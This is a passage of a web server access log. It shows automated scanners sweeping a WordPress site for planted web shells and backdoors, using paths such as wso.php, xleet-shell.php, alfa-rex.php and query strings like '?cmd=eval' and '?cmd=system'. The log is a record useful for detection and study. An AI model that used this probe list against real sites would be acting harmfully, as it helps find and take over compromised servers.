/wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:35 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:35 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:36 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:37 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:37 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:37 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:38 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:38 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:39 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:39 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:40 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:40 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:41 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:41 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:42 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:42 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:42 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:43 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:43 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:43 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:44 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:44 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:45 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:45 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:45 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:46 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:46 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:47 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:47 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:47 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:48 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:48 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:49 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:49 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:49 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:50 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:50 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:51 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:52 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:52 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:52 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:53 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:54 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:54 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:55 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:55 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:55 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:56 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:56 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:57 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:57 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:58 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:58 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:59 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:59 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:00 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:00 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:02 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:02 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:03 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:03 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:04 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:05 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:06 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:06 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:07 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:07 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:08 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:08 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:09 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:10 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:10 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:11 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:12 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:12 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:13 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:13 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:14 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:14 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:15 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:15 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:16 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:16 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:16 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:17 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:17 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:18 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:18 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:19 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:19 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:20 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:20 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:21 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:21 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:21 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:22 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:22 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:23 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:23 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:24 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:24 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:25 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:25 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:25 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:26 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:26 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:27 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:27 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:28 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:28 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:29 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:29 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:30 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:30 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:30 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:31 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:31 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:32 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:32 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:33 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:33 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:33 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:34 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:34 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:35 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:35 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:35 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:36 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:36 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:37 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:37 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:38 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:38 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:38 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:39 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:39 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:39 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:40 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:40 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:41 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:41 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:41 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:42 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:42 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:43 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:43 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:43 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:44 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:45 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:45 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:46 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:46 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:47 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:47 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:48 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:48 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:49 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:49 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:50 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:50 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:51 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:52 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:52 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:53 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:53 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:53 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:54 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:54 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:54 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:55 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:16:55 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 169.150.218.67 - - [16/Apr/2025:16:27:25 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 162.0.232.217 - - [16/Apr/2025:16:56:13 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:16:56:22 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:16:56:45 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 172.111.204.6 - - [16/Apr/2025:17:47:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68" 86.102.41.211 - - [16/Apr/2025:17:51:33 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 134.122.196.8 - - [16/Apr/2025:19:43:31 -0400] "GET /statics/img/login_bg.jpg HTTP/1.1" 301 795 "http://designpitara.com" "Googlebot/2.1 (+http://www.google.com/bot.html)" 162.0.232.217 - - [16/Apr/2025:19:44:20 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.37.99.43 - - [16/Apr/2025:19:44:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 162.0.232.217 - - [16/Apr/2025:19:44:37 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:19:44:48 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:19:44:52 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:19:45:16 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 43.153.119.119 - - [16/Apr/2025:19:49:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.82.230.242 - - [16/Apr/2025:19:49:46 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:46 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:47 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:47 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:47 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:47 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:47 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:47 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:47 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:48 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:48 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:48 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:48 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:48 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:48 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:48 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:49 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:49 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:49 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:49 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:49 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:49 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:50 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:50 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:49:50 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - 